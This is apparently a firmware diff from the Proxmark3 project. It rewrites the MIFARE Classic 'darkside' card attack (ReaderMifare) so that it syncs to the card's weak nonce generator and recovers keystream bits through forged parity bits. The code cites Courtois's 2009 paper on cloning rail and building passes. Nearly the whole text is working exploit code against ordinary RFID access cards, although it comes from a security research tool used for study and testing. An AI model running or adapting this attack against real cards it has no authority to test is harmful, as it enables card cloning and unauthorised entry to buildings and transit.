- uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
-
- iso14443a_setup();
- int TIME1=time;
- int TIME2=2000;
- uint8_t uid[8];
- uint32_t cuid;
- byte_t nt[4];
- Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time);
-
-
- mftest nt_values[TEST_LENGTH];
- int nt_size = 0;
- int i = 0;
- for(i = 0 ; i< 100 ; i++)
- {
- LED_C_OFF();
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(TIME1);
- FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- LED_C_ON();
- SpinDelayUs(TIME2);
- if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
-
- // Transmit MIFARE_CLASSIC_AUTH
- ReaderTransmit(mf_auth, sizeof(mf_auth));
-
- // Receive the (16 bit) "random" nonce
- if (!ReaderReceive(receivedAnswer)) continue;
- memcpy(nt, receivedAnswer, 4);
-
- //store it
- int already_stored = 0;
- for(int i = 0 ; i < nt_size && !already_stored; i++)
- {
- if( memcmp(nt, nt_values[i].nt, 4) == 0)
- {
- nt_values[i].count++;
- already_stored = 1;
- }
- }
- if(!already_stored)
- {
- mftest* ptr= &nt_values[nt_size++];
- //Clear it before use
- memset(ptr, 0, sizeof(mftest));
- memcpy(ptr->nt, nt, 4);
- ptr->count = 1;
- }
- if(BUTTON_PRESS())
- {
- Dbprintf("Tuning aborted prematurely");
- break;
- }
- }
- /*
- for(int i = 0 ; i < nt_size;i++){
- mftest x = nt_values[i];
- Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count);
- }
- */
- int result = nt_size *100 / i;
- Dbprintf(" ... results for %d ms : %d %",time, result);
- return result;
-}
+// Determine the distance between two nonces.
+// Assume that the difference is small, but we don't know which is first.
+// Therefore try in alternating directions.
+int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
-//-----------------------------------------------------------------------------
-// Read an ISO 14443a tag. Send out commands and store answers.
-//
-//-----------------------------------------------------------------------------
-#define STATE_SIZE 100
-typedef struct AttackState{
- byte_t nt[4];
- byte_t par_list[8];
- byte_t ks_list[8];
- byte_t par;
- byte_t par_low;
- byte_t nt_diff;
- uint8_t mf_nr_ar[8];
-} AttackState;
-
-
-int continueAttack(AttackState* pState,uint8_t* receivedAnswer)
-{
+ uint16_t i;
+ uint32_t nttmp1, nttmp2;
- // Transmit reader nonce and reader answer
- ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par);
-
- // Receive 4 bit answer
- int len = ReaderReceive(receivedAnswer);
- if (!len)
- {
- if (pState->nt_diff == 0)
- {
- pState->par++;
- } else {
- pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low;
- }
- return 2;
- }
- if(pState->nt_diff == 0)
- {
- pState->par_low = pState->par & 0x07;
- }
- //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4));
- //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
- //isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
- //
- // if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue;
-
- //led_on = !led_on;
- //if(led_on) LED_B_ON(); else LED_B_OFF();
- pState->par_list[pState->nt_diff] = pState->par;
- pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05;
-
- // Test if the information is complete
- if (pState->nt_diff == 0x07) {
- return 0;
- }
+ if (nt1 == nt2) return 0;
- pState->nt_diff = (pState->nt_diff + 1) & 0x07;
- pState->mf_nr_ar[3] = pState->nt_diff << 5;
- pState->par = pState->par_low;
- return 1;
+ nttmp1 = nt1;
+ nttmp2 = nt2;
+
+ for (i = 1; i < 32768; i++) {
+ nttmp1 = prng_successor(nttmp1, 1);
+ if (nttmp1 == nt2) return i;
+ nttmp2 = prng_successor(nttmp2, 1);
+ if (nttmp2 == nt1) return -i;
+ }
+
+ return(-99999); // either nt1 or nt2 are invalid nonces
}
-void reportResults(uint8_t uid[8],AttackState *pState, int isOK)
-{
- LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE);
- LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE);
- LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE);
-
- byte_t buf[48];
- memcpy(buf + 0, uid, 4);
- if(pState != NULL)
- {
- memcpy(buf + 4, pState->nt, 4);
- memcpy(buf + 8, pState->par_list, 8);
- memcpy(buf + 16, pState->ks_list, 8);
- }
- LED_B_ON();
- cmd_send(CMD_ACK,isOK,0,0,buf,48);
- LED_B_OFF();
+//-----------------------------------------------------------------------------
+// Recover several bits of the cypher stream. This implements (first stages of)
+// the algorithm described in "The Dark Side of Security by Obscurity and
+// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
+// (article by Nicolas T. Courtois, 2009)
+//-----------------------------------------------------------------------------
+void ReaderMifare(bool first_try)
+{
+ // Mifare AUTH
+ uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
+ uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+ static uint8_t mf_nr_ar3;
- // Thats it...
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- LEDsoff();
- tracing = TRUE;
+ uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
+ traceLen = 0;
+ tracing = false;
- if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
-}
+ byte_t nt_diff = 0;
+ byte_t par = 0;
+ //byte_t par_mask = 0xff;
+ static byte_t par_low = 0;
+ bool led_on = TRUE;
+ uint8_t uid[10];
+ uint32_t cuid;
-void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time);
-
-/**
- * @brief New implementation of ReaderMifare, the classic mifare attack.
- * This implementation is backwards-compatible, but has some added parameters.
- * @param c the usbcommand in complete
- * c->arg[0] - nt_noattack (deprecated)
- * c->arg[1] - offset_time us (0 => random)
- * c->arg[2] - powerdown_time ms (0=> tuning)
- *
- */
-void ReaderMifare(UsbCommand *c)
-{
- /*
- * The 'no-attack' is not used anymore, with the introduction of
- * state tables. Instead, we use an offset which is random. This means that we
- * should not get stuck on a 'bad' nonce, so no-attack is not needed.
- * Anyway, arg[0] is reserved for backwards compatibility
- uint32_t nt_noattack_uint = c->arg[0];
- byte_t nt_noattack[4];
- num_to_bytes(parameter, 4, nt_noattack_uint);
-
- */
- /*
- *IF, for some reason, you want to attack a specific nonce or whatever,
- *you can specify the offset time yourself, in which case it won't be random.
- *
- * The offset time is microseconds, MICROSECONDS, not ms.
- */
- uint32_t offset_time = c->arg[1];
- if(offset_time == 0)
- {
- //[Martin:]I would like to have used rand(), but linking problems prevented it
- //offset_time = rand() % 4000;
- //So instead, I found this nifty thingy, which seems to fit the bill
- offset_time = GetTickCount() % 2000;
- }
- /*
- * There is an implementation of tuning. Tuning will try to determine
- * a good power-down time, which is different for different cards.
- * If a value is specified from the packet, we won't do any tuning.
- * A value of zero will initialize a tuning.
- * The power-down time is milliseconds, that MILLI-seconds .
- */
- uint32_t powerdown_time = c->arg[2];
- if(powerdown_time == 0)
- {
- //Tuning required
- int entropy = 100;
- int time = 25;
- entropy = TuneMifare(time);
-
- while(entropy > 50 && time < 2000){
- //Increase timeout, but never more than 500ms at a time
- time = MIN(time*2, time+500);
- entropy = TuneMifare(time);
- }
- if(entropy > 50){
- Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy);
- }
- powerdown_time = time;
- }
- //The actual attack
- ReaderMifareBegin(offset_time, powerdown_time);
-}
-void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time)
-{
- Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time);
+ uint32_t nt, previous_nt;
+ static uint32_t nt_attacked = 0;
+ byte_t par_list[8] = {0,0,0,0,0,0,0,0};
+ byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
- /**
- *Allocate our state-table and initialize with zeroes
- **/
+ static uint32_t sync_time;
+ static uint32_t sync_cycles;
+ int catch_up_cycles = 0;
+ int last_catch_up = 0;
+ uint16_t consecutive_resyncs = 0;
+ int isOK = 0;
- AttackState states[STATE_SIZE] ;
- //Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) );
- memset(states, 0, STATE_SIZE*sizeof(AttackState));
- // Mifare AUTH
- uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
- uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
- traceLen = 0;
- tracing = false;
+ if (first_try) {
+ StartCountMifare();
+ mf_nr_ar3 = 0;
+ iso14443a_setup();
+ while((GetCountMifare() & 0xffff0000) != 0x10000); // wait for counter to reset and "warm up"
+ sync_time = GetCountMifare() & 0xfffffff8;
+ sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+ nt_attacked = 0;
+ nt = 0;
+ par = 0;
+ }
+ else {
+ // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
+ // nt_attacked = prng_successor(nt_attacked, 1);
+ mf_nr_ar3++;
+ mf_nr_ar[3] = mf_nr_ar3;
+ par = par_low;
+ }
- iso14443a_setup();
LED_A_ON();
LED_B_OFF();
LED_C_OFF();
+
+
+ for(uint16_t i = 0; TRUE; i++) {
+
+ WDT_HIT();
- LED_A_OFF();
- uint8_t uid[8];
- uint32_t cuid;
+ // Test if the action was cancelled
+ if(BUTTON_PRESS()) {
+ break;
+ }
+
+ LED_C_ON();
- byte_t nt[4];
- int nts_attacked= 0;
- //Keeps track of progress (max value of nt_diff for our states)
- int progress = 0;
- int high_entropy_warning_issued = 0;
- while(!BUTTON_PRESS())
- {
- LED_C_OFF();
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(powerdown_time);
+ if(!iso14443a_select_card(uid, NULL, &cuid)) {
+ if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card");
+ continue;
+ }
+
+ //keep the card active
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- LED_C_ON();
- SpinDelayUs(offset_time);
-
- if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
-
- // Transmit MIFARE_CLASSIC_AUTH
- ReaderTransmit(mf_auth, sizeof(mf_auth));
-
- // Receive the (16 bit) "random" nonce
- if (!ReaderReceive(receivedAnswer)) continue;
- memcpy(nt, receivedAnswer, 4);
-
- //Now we have the NT. Check if this NT is already under attack
- AttackState* pState = NULL;
- int i = 0;
- for(i = 0 ; i < nts_attacked && pState == NULL; i++)
- {
- if( memcmp(nt, states[i].nt, 4) == 0)
- {
- //we have it
- pState = &states[i];
- //Dbprintf("Existing state found (%d)", i);
- }
- }
- if(pState == NULL){
- if(nts_attacked < STATE_SIZE )
- {
- //Initialize a new state
- pState = &states[nts_attacked++];
- //Clear it before use
- memset(pState, 0, sizeof(AttackState));
- memcpy(pState->nt, nt, 4);
- i = nts_attacked;
- //Dbprintf("New state created, nt=");
- }else if(!high_entropy_warning_issued){
- /**
- *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by
- *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce
- *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting
- *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish.
- */
- DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)");
- high_entropy_warning_issued = 1;
- }
- }
- if(pState == NULL) continue;
-
- int result = continueAttack(pState, receivedAnswer);
-
- if(result == 1){
- //One state progressed another step
- if(pState->nt_diff > progress)
- {
- progress = pState->nt_diff;
- //Alert the user
- Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked );
- }
- //Dbprintf("State increased to %d in state %d", pState->nt_diff, i);
- }
- else if(result == 2){
- //Dbprintf("Continue attack no answer, par is now %d", pState->par);
- }
- else if(result == 0){
- reportResults(uid,pState,1);
- return;
- }
- }
- reportResults(uid,NULL,0);
+ // CodeIso14443aBitsAsReaderPar(mf_auth, sizeof(mf_auth)*8, GetParity(mf_auth, sizeof(mf_auth)*8));
+
+ sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
+ catch_up_cycles = 0;
+
+ // if we missed the sync time already, advance to the next nonce repeat
+ while(GetCountMifare() > sync_time) {
+ sync_time = (sync_time & 0xfffffff8) + sync_cycles;
+ }
+
+ // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked)
+ ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+
+ // Receive the (4 Byte) "random" nonce
+ if (!ReaderReceive(receivedAnswer)) {
+ if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Couldn't receive tag nonce");
+ continue;
+ }
+
+ previous_nt = nt;
+ nt = bytes_to_num(receivedAnswer, 4);
+
+ // Transmit reader nonce with fake par
+ ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
+
+ if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
+ int nt_distance = dist_nt(previous_nt, nt);
+ if (nt_distance == 0) {
+ nt_attacked = nt;
+ }
+ else {
+ if (nt_distance == -99999) { // invalid nonce received, try again
+ continue;
+ }
+ sync_cycles = (sync_cycles - nt_distance);
+ if (MF_DBGLEVEL >= 3) Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+ continue;
+ }
+ }
+
+ if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again...
+ catch_up_cycles = -dist_nt(nt_attacked, nt);
+ if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one.
+ catch_up_cycles = 0;
+ continue;
+ }
+ if (catch_up_cycles == last_catch_up) {
+ consecutive_resyncs++;
+ }
+ else {
+ last_catch_up = catch_up_cycles;
+ consecutive_resyncs = 0;
+ }
+ if (consecutive_resyncs < 3) {
+ if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
+ }
+ else {
+ sync_cycles = sync_cycles + catch_up_cycles;
+ if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+ }
+ continue;
+ }
+
+ consecutive_resyncs = 0;
+
+ // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
+ if (ReaderReceive(receivedAnswer))
+ {
+ catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer
+
+ if (nt_diff == 0)
+ {
+ par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
+ }
+
+ led_on = !led_on;
+ if(led_on) LED_B_ON(); else LED_B_OFF();
+
+ par_list[nt_diff] = par;
+ ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
+
+ // Test if the information is complete
+ if (nt_diff == 0x07) {
+ isOK = 1;
+ break;
+ }
+
+ nt_diff = (nt_diff + 1) & 0x07;
+ mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
+ par = par_low;
+ } else {
+ if (nt_diff == 0 && first_try)
+ {
+ par++;
+ } else {
+ par = (((par >> 3) + 1) << 3) | par_low;
+ }
+ }
+ }
+
+ LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE);
+ LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
+ LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
+
+ mf_nr_ar[3] &= 0x1F;
+
+ byte_t buf[28];
+ memcpy(buf + 0, uid, 4);
+ num_to_bytes(nt, 4, buf + 4);
+ memcpy(buf + 8, par_list, 8);
+ memcpy(buf + 16, ks_list, 8);
+ memcpy(buf + 24, mf_nr_ar, 4);
+
+ cmd_send(CMD_ACK,isOK,0,0,buf,28);
+
+ // Thats it...
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ LEDsoff();
+ tracing = TRUE;
}
+
//-----------------------------------------------------------------------------
// MIFARE 1K simulate.
//
projects / proxmark3-svn / blobdiff